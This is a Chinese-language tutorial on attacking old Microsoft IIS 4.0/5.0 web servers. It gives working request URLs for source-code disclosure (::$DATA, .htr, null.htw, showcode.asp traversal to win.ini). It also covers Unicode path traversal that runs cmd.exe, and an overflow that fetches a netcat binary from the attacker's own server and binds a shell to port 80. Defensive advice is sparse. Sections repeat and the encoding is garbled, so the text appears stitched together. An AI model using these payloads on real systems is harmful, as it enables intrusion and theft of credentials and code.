IIS常见漏洞攻防实战(2)


其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了“安全”好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,要查看一些.asp文件的内容,你可以请求如下的URL:

http://www.目标机.com/default.asp::$DATA 你就得到了源代码。

9.ISM.DLL 缓冲截断漏洞

这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者%20(这些表示空格)并追加.htr的特殊请求给IIS,会使IIS认为客户端请求的是.htr文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 Web 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效。它只能在 ISM.DLL 第一次装入内存时工作。

http://www.目标机.com/global.asa%20%20(...《=230》global.asa.htr

10.2 IIS的攻击手段和防范技巧

1.IIS HACK

一个IIS4.0的缓冲溢出可以允许用户上载程序,如Netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢出主要存在于.htr、.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。

要检测这样的站点你需要两个文件iishack.exe,ncx.exe,另外你还需要一台自己的Web服务器,当然你可以是虚拟服务器。

你现在你自己的Web服务器上运行Web服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: c:\$#@62;iishack.exe $#@60;victim$#@62; 80 $#@60;your web server$#@62;/ncx.exe 然后你就使用netcat来连接你要检测的服务器: c:\$#@62;nc $#@60;victim$#@62; 80 如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。

2.Codebrws.asp & Showcode.asp

Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序, 但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为 联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:

(1)Codebrws.asp 和 Showcode.asp默认情况下没有安装;

(2)漏洞仅允许查看文件内容;

(3)这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制;

(4)只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的注意,也可能比较好的防止最新的IIS5.0的Unicode漏洞) ;

(5)攻击者需要知道请求的文件名。

例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:http://www.victim.com/iisamples/exair/howitworks/codebrws.asp source=/ iisamples/exair/howitworks/codebrws.asp

你就可以查看到codebrws.asp的源代码了。

你也可以使用showcode.asp来查看文件: http://www.victim.com/msadc/samples/selector/showcode.asp source=/msadc/../../../../../winnt/win.ini

当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的机器,或许他其他的机器的安全性比Web差呢)。如 :http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

3.Null.htw

IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞, 就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,包伙global.asa里面包含了用户名和密码等敏感信息。工具者如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,提供逻辑分区和ROOT目录的访问。这个“hit-highlighting”功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:CiWebhitsfile CiRestriction CiHiliteType

你可以使用下面的方法传递变量来获得如default.asp的源代码:http://www.victim.com/null.htwCiWebhitsfile=/default.asp%20&%20 CiRestriction=none%20&%20&CiHiliteType=full

其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

4.Webhits.dll & .htw

这个Hit-highligting功能是由Index Server提供的允许一个Web用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

http://www.victim.com/nosuchfile.htw

如果你从服务器端获得如下信息: format of the QUERY_STRING is invalid,这就表示你存在这个漏洞。

这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw 文件,一般会发现如下的程序:

/iissamples/issamples/oop/qfullhit.htw/iissamples/issamples/oop/

qsumrhit.htw /isssamples/exair/search/qfullhit.htw/isssamples/exair/

search/qsumrhit.htw/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

一个攻击者可以使用如下的方法来访问系统中文件的内容:

http://www.victim.com/iissamples/issamples/oop/qfullhit.htw? ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

就会在有此漏洞系统中win.ini文件的内容。

5. ASP Alternate Data Streams(::$DATA)

$DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。 其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在 NTFS文件分区(幸好为了“安全”好多服务器设置了NTFS格式),第二是文件 需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WinNT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。

要查看一些.asp文件的内容,你可以请求如下的URL:

http://www.victim.com/default.asp::$DATA你就得到了源代码。

6.ISM.DLL 缓冲截断漏洞

这个漏洞它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加230个+或者%20(这些表示空格)并追加.htr的特殊请求给IIS,会使IIS认为客户端请求的是.htr文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ism.dll截断信息之前,缓冲区发送一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容。除非Web服务停止并重启过,否则这攻击只能有效执行一次。如果已经 发送过一个 .htr请求到机器上,那么这攻击会失效。它只能在ism.dll第一次装入内存时工作CNNS发现追加+号到没有一次攻击这个问题,可以进行 多次攻击。

http://www.victim.com/global.asa%20%20(...$#@60;=230)global.asa.htr

7..idc & .ida bugs

这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其Web目录信息, 很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加idc或者ida后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果 此.idc不存在,它就返回一些信息给客户端。

http://www.victim.com/anything.idc 或者 anything.idq

+.htr Bug

这个漏洞相似由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

http://www.victim.com/global.asa+.htr

NT Site Server Adsamples 漏洞

通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

http://www.victim.com/adsamples/config/site.csc

存在的一些暴力破解威胁.htr程序

IIS4.0中包含一个有趣的特征就是允许远程用户攻击Web服务器上的用户账号,就是你的Web服务器是通过NAT来转换地址的,还可以被攻击。

每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过Web来修改用户的账号和密码。这个目录物理映射在下面的目录下:

c:\winnt\system32\inetsrv\iisadmpwd Achg.htr Aexp.htr Aexp2.htr Aexp2b.htr Aexp3.htr Aexp4.htr Aexp4b.htr Anot.htr Anot3.htr

这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,你就豪不客气的删除这个目录先。

Translate:f Bug

Daniel Docekal在2000,8月15号发布了这个漏洞,(www.securityfocus.com/bid/1578) 其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0 上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

IIS存在的Unicode解析错误漏洞

NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在 一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时, 如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

你可以使用下面的方法利用这个漏洞:

(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能 列出当前目录的内容:

http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

(2) 利用这个漏洞查看系统文件内容也是可能的:

http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

当然这是针对中文IIS,你也可以使用“%c0%af”或者“%c1%9c”来测试英文IIS版本, 主要原因是其编码的不同而已。

本文作者:
« 
» 
快速导航

Copyright © 2016 phpStudy | 豫ICP备2021030365号-3